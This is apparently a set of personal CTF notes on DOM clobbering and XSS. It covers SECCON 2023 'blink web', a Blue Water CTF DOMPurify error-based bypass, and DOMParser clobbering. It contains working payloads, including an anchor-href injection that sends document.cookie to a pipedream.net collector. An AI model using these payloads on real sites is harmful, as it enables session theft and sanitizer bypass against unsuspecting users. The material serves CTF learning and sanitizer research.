Trick
<a id="clob" href="//*/%0A%0Adocument.location.href=`https://eori6i4ew40rbdj.m.pipedream.net?${document.cookie}" />or
<a id="clob" href="//*/\n\ndocument.location.href=`https://eori6i4ew40rbdj.m.pipedream.net?${document.cookie}" />
this will create
"//*/ document.location.href=`[https://eori6i4ew40rbdj.m.pipedream.net?$](https://eori6i4ew40rbdj.m.pipedream.net?$ "https://eori6i4ew40rbdj.m.pipedream.net?$"){document.cookie}"
tested: firefox v102
if there a setInterval with something you can clobber in argument, you can get code execution/XSS
seccon quals 2023 “blink web”
const id = setInterval(target.togglePopover, 400);
payload
http://blink.seccon.games:3000/#<iframe%20name=body%20srcdoc="<a%20id='nodeName'%20href='cid:alert(1)'></a>"></iframe>
sadly this technique will thor error if we don’t use something like this to wrap the document object
const wrap = (obj) =>
new Proxy(obj, {
get: (target, prop) => {
const res = target[prop];
return typeof res === "function" ? res.bind(target) : res;
},
set: (target, prop, value) => (target[prop] = value),
});
Make error in DOMPurify
Challenges - Blue Water CTF Blue water ctf challenge
bluesocial challenge
for bluesocial we had a cheese solution, since u could make dompurify error by passing this lol
<form name="bar" id="lmao "> <!-- iterates over attributes backwards, when it gets to name it'll be clobbered and error -->
<input form="lmao" name="removeAttribute">
</form>
<img src=x onerror=alert(1)>
it gets removed from the dom tree but it doesnt return from the check here https://github.com/cure53/DOMPurify/commit/7422567a0b2f006ab8428bd0d4cf4818cf6f1b8f so it keeps going and errors lol
Related challenge
<html>
<head>
<script src="https://unpkg.com/dompurify@3.1.7/dist/purify.min.js"></script>
</head>
<body>
<script>
function normalize(s){
return new Promise((resolve, reject)=>{
const frame = document.createElement("iframe")
frame.sandbox = 'allow-same-origin'
frame.hidden = true
frame.srcdoc = s
document.body.appendChild(frame)
setTimeout(()=>{
resolve(frame.contentWindow.document.body.innerHTML)
}, 100)
})
}
async function main(){
try{
var sanitizedHTML = new URLSearchParams(location.search).get("html")
sanitizedHTML = DOMPurify.sanitize(await normalize(html))
document.write(sanitizedHTML)
} catch {
document.write(sanitizedHTML)
}
}
main()
</script>
</body>
</html>
when it sanitizes attrs it removes the attr, does checks, then adds it back, so when id="foo " is added back it'll remove the space (i didnt find this, kevin mizu found it a while ago)
since that could clobber the form after the clobber check in _sanitizeElements, they added another clobber check in _sanitizeAttributes, so that if it's clobbered it gets _forceRemoved. but it doesn't return after that and keeps iterating over the detached dom tree, so it'll keep running the rest of _sanitizeAttributes and then error (since it was successfully clobbered lol)
Domclobering trick in Domparser
Cyber jawara 2025 quals
https://www.fastmail.com/blog/sanitising-html-the-dom-clobbering-issue/
<html>
<script>
const dom = new DOMParser().parseFromString(
`
<form id="form" action="/submit" method="post">
<input name="attributes">
<input name="nodeName">
<input name="childNodes">
<input name="childNodes">
</form>`,
'text/html'
);
console.log(dom.documentElement.childNodes[1])
const form = dom.documentElement.childNodes[1].supra
const formBody = dom.body.childNodes[0]
console.log('Form')
console.log({
form,
attributes: form.attributes,
nodeName: form.nodeName,
childNodes: form.childNodes
})
console.log('---')
console.log('Form Body')
console.log({
formBody,
attributes: formBody.attributes,
nodeName: formBody.nodeName,
childNodes: formBody.childNodes
})
</script>
</html>
